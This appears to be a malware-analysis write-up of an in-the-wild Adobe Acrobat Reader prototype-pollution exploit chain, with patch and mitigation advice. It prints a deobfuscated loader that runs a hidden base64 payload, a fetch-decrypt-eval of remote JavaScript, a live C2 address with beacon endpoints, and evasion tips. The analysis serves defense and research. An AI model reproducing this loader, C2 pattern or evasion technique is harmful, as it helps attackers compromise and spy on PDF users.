Adobe Acrobat Reader's JavaScript engine fails to properly sanitize and isolate modifications to object prototypes when processing certain internal object keys and properties during PDF rendering and UI/dialog handling. This is a classic prototype pollution flaw: attackers can contaminate Object.prototype (or other base objects) so that property lookups on application objects return attacker-controlled values or trigger side effects.

The bug is not a memory corruption issue. It is a pure logic flaw in how Acrobat handles:

• Object key processing in internal UI/dialog APIs
• Property getters/setters in the sandboxed JS context
• Access to privileged Acrobat-specific APIs (e.g., util.*, SOAP.*, RSS.*, undocumented auth/login functions)

This type of bug is highly valuable because it requires zero memory spraying or ROP — just careful JS crafting. It works reliably on fully patched Reader versions (pre-April 2026 patch) and survives many sandbox mitigations that block traditional exploits.

Real Exploit Chain (Forensic Reconstruction from Analyzed Samples)

The chain observed in the wild (SHA-256: 54077a5b15638e354fa02318623775b7a1cc0e8c21e59bcbab333035369e377f and variant 65dca34b…) breaks down as follows:

1. Entry Point — Auto-Execution The PDF uses /OpenAction + a named JS action (PrintReport_54) to run JavaScript immediately on document open. No user clicks required beyond opening the file.
2. Stage 1 Loader (JSFuck Obfuscated — Sandbox Evasion) The loader is heavily obfuscated with JSFuck techniques to hide strings and API calls (building characters from expressions like ({}+[])[+!+[]] etc.).

Reconstructed / De-obfuscated Stage 1 (from Gist analysis):

app.t = app.setTimeOut(
    util.stringFromStream(
        SOAP.streamDecode(
            util.streamFromString(
                getField("btn1").value   // Hidden invisible AcroForm button field
            ), "base64"
        )
    ), 500   // 500ms delay – common sandbox evasion trick
);

The large base64 payload (≈98 KB) is hidden in an invisible form field (btn1 with /Rect [0 0 0 0]).

3. Stage 2 — Main Payload (73,936 characters, heavily obfuscated)

• Implements a full AES-CTR encrypt/decrypt routine (custom implementation).

Performs system fingerprinting:

• Reads ntdll.dll via util.readFileIntoStream() and parses version strings for accurate OS fingerprinting.
• Collects: Adobe Reader version, language, installed AV/security products, full path of the opened PDF, etc.

Builds beacon data and sends it via HTTP GET.

4. C2 Communication & Server-Side Filtering Primary C2: 188.214.34.20:34123 (Cyprus-hosted, low detection). Observed endpoints:

• /rs1?rnd=<random>&od=422974
• /s11?language=…&viewerType=…&osVersion=…
• Key Insight: The C2 performs active victim filtering. It returns only "//" (empty comment) or minimal content to sandboxes/analysis environments, while delivering the real Stage 3 payload to genuine targets. This makes static/dynamic analysis extremely frustrating.

5. Stage 3 — Remote Payload & Potential Full RCE C2 responds with AES-CTR encrypted + zlib-compressed JavaScript. Once processed: global.final_js = decrypted_code; eval(global.final_js);

This stage is where full arbitrary code execution / sandbox escape likely happens (not fully captured in public samples because of C2 filtering). Adobe confirmed it can lead to RCE.

How Prototype Pollution Enables the Chain

According to detailed forensic analysis, the exploit uses a two-bug logical chain:

• Bug 1 (JS Injection): A crafted object passed to an internal Acrobat UI/dialog API has its key strings processed unsafely, allowing arbitrary JS injection from a sandboxed context.
• Bug 2 (Prototype Pollution → Privilege Escalation):

1. Use Object.prototype.__defineGetter__() (or equivalent) to pollute the prototype and hijack property access globally.
2. Hijack getters on key objects (e.g., document object) to intercept internal path/connection properties.
3. Abuse undocumented internal authentication/login APIs to obtain references to privileged functions that should be restricted.
4. This grants access to powerful APIs like util.readFileIntoStream() (arbitrary file read), RSS.addFeed() (exfiltration + bidirectional channel), and others.

Red Team Perspective on Reproducibility (POC Considerations):

• No public full weaponized PoC exists as of April 13, 2026. The samples in the wild are highly targeted and rely on live C2.
• Building a reliable PoC would require:
• Deep reverse engineering of Acrobat's JS engine and internal APIs (many are undocumented).
• Crafting objects that trigger the unsafe key processing in UI functions.
• Precise prototype pollution payload that survives Acrobat's partial sandbox.
• Handling the AES-CTR + zlib layer for Stage 3.

Challenges for Red Teamers:

• Acrobat JS environment is quirky (limited ECMAScript support, custom APIs, strict sandbox in Protected View).
• Server-side filtering makes testing hard without controlling infrastructure.
• Detection evasion: Heavy JSFuck + 500ms delay + image-only decoys + Russian-language lures work well against casual scanning.
• Easiest Testing Path (Lab Only): Disable JavaScript entirely in Preferences to block the entire chain. For research, use a fully isolated VM with snapshotting and monitor Acrobat.exe for util.readFileIntoStream calls or suspicious outbound traffic on non-standard ports.

Mitigation for Defenders (and Red Team Evasion Notes)

• Patch immediately to 26.001.21411 / 24.001.30362+ (APSB26–43).
• Disable JavaScript in Adobe Reader (Edit → Preferences → JavaScript) — this completely neuters the current chain.
• Keep Protected View enabled.
• Monitor for the TTPs above in EDR/SIEM.

This exploit highlights why PDF readers remain high-value targets: rich JS API surface + widespread installation + user interaction that feels "safe."

Reference

https://gist.github.com/N3mes1s/9e55e8d781235ee256d5b3f6720222dd